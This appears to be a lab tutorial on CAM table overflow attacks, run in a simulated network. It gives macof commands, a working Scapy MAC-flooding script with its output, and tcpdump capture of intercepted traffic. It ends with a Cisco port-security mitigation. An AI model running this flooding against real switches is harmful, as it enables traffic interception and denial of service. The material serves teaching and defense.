CAM Table Overflow Attacks

A network switch stores the MAC addresses of systems it sees in it’s CAM (Content Addressable Memory) table. The table lists discovered MAC addresses, and the network ports they are associated with. This table can be seen on a Cisco switch using the show mac-address-table command.

R1#show mac-address-table       
Destination Address  Address Type  VLAN  Destination Port
-------------------  ------------  ----  --------------------
cc01.5fae.0000		Self	      1	    Vlan1	
0050.7966.6800		Dynamic	      1	    FastEthernet1/3	
0050.7966.6801		Dynamic	      1	    FastEthernet1/2	

If an adversary is able to flood the MAC address table with bogus addresses, the switch will revert its behavior to that of a hub, i.e any new connections will be forwarded out of all ports.

For this example, I’m using a C3600 router image, with a NM-16ESW switch module running on GNS3. The adversary’s system is located in Cloud1, which is a bridged interface to a Kali Linux system. Under normal operation, communications between PC1 and PC2 will not be visible to the adversary.


CAM Table Overflows with Dsniff

On Kali Linux, run the macof application which is part of the dsniff package in Kali can be used to generate a large number of spoofed MAC addresses.

sudo macof -i eth1 
3c:98:5b:6f:2a:1e 6e:47:89:6b:74:99 0.0.0.0.43260 > 0.0.0.0.37565: S 1180518068:1180518068(0) win 512
c0:5e:d1:1d:63:e4 5b:e9:85:14:a0:11 0.0.0.0.48552 > 0.0.0.0.57148: S 231829208:231829208(0) win 512
9e:1a:f7:57:4f:ea 67:e0:ab:53:58:fe 0.0.0.0.18674 > 0.0.0.0.55986: S 316105485:316105485(0) win 512
61:8f:ea:3:7c:fd e4:ee:1f:35:44:46 0.0.0.0.38772 > 0.0.0.0.16366: S 1504345617:1504345617(0) win 512
4e:1e:b4:52:4e:54 1a:dd:ce:2b:e3:6e 0.0.0.0.50482 > 0.0.0.0.9111: S 1516190475:1516190475(0) win 512
2a:2c:15:74:ff:87 52:87:d9:24:53:54 0.0.0.0.33301 > 0.0.0.0.20299: S 1307360158:1307360158(0) win 512
7b:25:aa:2f:d6:9c 10:91:67:64:29:79 0.0.0.0.48679 > 0.0.0.0.31374: S 1409153113:1409153113(0) win 512
c:ab:8:74:59:3d 9f:af:92:3a:fd:a7 0.0.0.0.24107 > 0.0.0.0.61806: S 1246472555:1246472555(0) win 512
82:57:c8:5b:f7:13 68:96:2d:65:76:df 0.0.0.0.3662 > 0.0.0.0.27231: S 1427536932:1427536932(0) win 512
a6:aa:b3:37:5f:a6 f2:7:be:2c:d1:57 0.0.0.0.25658 > 0.0.0.0.23985: S 629435605:629435605(0) win 512
87:dd:d:16:6e:31 9d:3f:4d:2e:c6:dd 0.0.0.0.11751 > 0.0.0.0.46999: S 707453291:707453291(0) win 512

On the switch, you should then see the number of addresses filling up:

R1#show mac-address-table count 

NM Slot: 1
--------------

Dynamic Address Count:                 8188
Secure Address (User-defined) Count:   0
Static Address (User-defined) Count:   0
System Self Address Count:             1
Total MAC addresses:                   8189
Maximum MAC addresses:                 8192

When PC2 goes to ping PC1, the traffic will be broadcast out of all switch ports.

PC2> ping 172.16.1.4 -c 20000

84 bytes from 172.16.1.4 icmp_seq=1 ttl=64 time=0.600 ms
84 bytes from 172.16.1.4 icmp_seq=2 ttl=64 time=0.557 ms
84 bytes from 172.16.1.4 icmp_seq=3 ttl=64 time=0.398 ms
84 bytes from 172.16.1.4 icmp_seq=4 ttl=64 time=0.592 ms
84 bytes from 172.16.1.4 icmp_seq=5 ttl=64 time=0.458 ms
84 bytes from 172.16.1.4 icmp_seq=6 ttl=64 time=0.493 ms

As such the Kali host can now intercept this traffic.

┌──(kali㉿kali)-[~]
└─$ sudo tcpdump -nn -i eth1 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), snapshot length 262144 bytes
15:05:49.767317 IP 172.16.1.3 > 172.16.1.4: ICMP echo request, id 48500, seq 1, length 64
15:05:49.767514 IP 172.16.1.4 > 172.16.1.3: ICMP echo reply, id 48500, seq 1, length 64
15:05:50.768464 IP 172.16.1.3 > 172.16.1.4: ICMP echo request, id 48756, seq 2, length 64
15:05:50.768689 IP 172.16.1.4 > 172.16.1.3: ICMP echo reply, id 48756, seq 2, length 64

In order to continue intercepting the traffic, the adversary would need to keep flooding the switch as old addresses will be timed out every 5 minutes. The default MAC aging time can be seen using the show mac-address-table aging-time command.

R1#show mac-address-table aging-time 
Mac address aging time 300

CAM Table Overflows with Python

The attack can also be carried out using a simple Python script:

from scapy.all import *
import random
import time

def generate_flood_packets(interface, duration):
    start_time = time.time()
    while time.time() - start_time < duration:
        spoofed_mac = RandMAC()
        print(spoofed_mac)
        pkt = Ether(src=spoofed_mac, dst="ff:ff:ff:ff:ff:ff")
        sendp(pkt, iface=interface, verbose=False)

def main():
    interface = "eth1" 
    duration = 500 

    print(f"Starting MAC address flooding on {interface} for {duration} seconds. Press Ctrl+C to stop.")
    try:
        generate_flood_packets(interface, duration)
    except KeyboardInterrupt:
        print("Flooding stopped by user.")

if __name__ == "__main__":
    main()

Running the code will just print the spoofed source MAC addresses.

sudo python3 mac_flood.py
Starting MAC address flooding on eth1 for 500 seconds. Press Ctrl+C to stop.
37:04:c0:b1:c5:c6
dc:0d:7e:62:71:95
84:ed:bd:a9:77:ed
7b:bf:a5:eb:95:ed
22:f7:9d:27:97:98
....

Port Security

One way to address this problem is to implement port-security. Port-security can be configured to automatically shutdown a port if a set number of MAC addresses is exceeded on it. Port-security can be implemented on a per port basis using the following configuration statements:

Switch(config)# interface gig0/2
Switch(config-if)# switchport port-security
Switch(config-if)# switchport port-security maximum 5
Switch(config-if)# switchport port-security violation shutdown
Switch(config-if)#end

In Conclusion

It should be noted that some devices may have a CAM table so large it’s unlikely to be filled up before old addresses expire. In addition, performing this attack will introduce additional load on the switch that may result in a denial of service condition.